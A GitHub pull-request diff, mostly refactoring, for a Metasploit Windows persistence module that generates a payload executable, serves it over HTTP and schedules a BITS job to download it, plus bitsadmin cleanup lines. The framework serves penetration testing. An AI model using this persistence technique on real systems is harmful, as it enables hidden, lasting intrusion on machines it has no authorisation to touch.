Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
9 changes: 3 additions & 6 deletions modules/exploits/windows/persistence/bits.rb
Original file line number Diff line number Diff line change
Expand Up @@ -8,8 +8,8 @@ class MetasploitModule < Msf::Exploit::Local

include Msf::Post::Windows::Priv
include Msf::Post::File
include Msf::Exploit::Local::Persistence # persistence and HttpServer get funky together with overwriting exploit function
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Local::Persistence # persistence and HttpServer get funky together with overwriting exploit function
include Msf::Exploit::EXE
prepend Msf::Exploit::Remote::AutoCheck

Expand Down Expand Up @@ -48,7 +48,7 @@ def initialize(info = {})
'h00die',
],
'Platform' => [ 'win' ],
'Arch' => [ARCH_X86, ARCH_X64],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[ 'Automatic', {} ]
Expand Down Expand Up @@ -188,10 +188,8 @@ def check
Msf::Exploit::CheckCode::Vulnerable('Likely exploitable')
end

# def install_persistence
def exploit
def install_persistence
@pload = generate_payload_exe
install_persistence
endpoint = Rex::Text.rand_text_alphanumeric(8..12)
if datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::'
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
Expand Down Expand Up @@ -241,6 +239,5 @@ def exploit
print_good("Persistence installed! Payload will be downloaded to #{writable_dir}\\#{payload_name} when the BITS job #{job_name} runs.")
@clean_up_rc << "bitsadmin /cancel \"#{id}\"\n"
@clean_up_rc << "rm \"#{(writable_dir + '\\' + payload_name).gsub('\\', '/')}\"\n" # just in case one did execute
@persistence_service.wait
end
end
Loading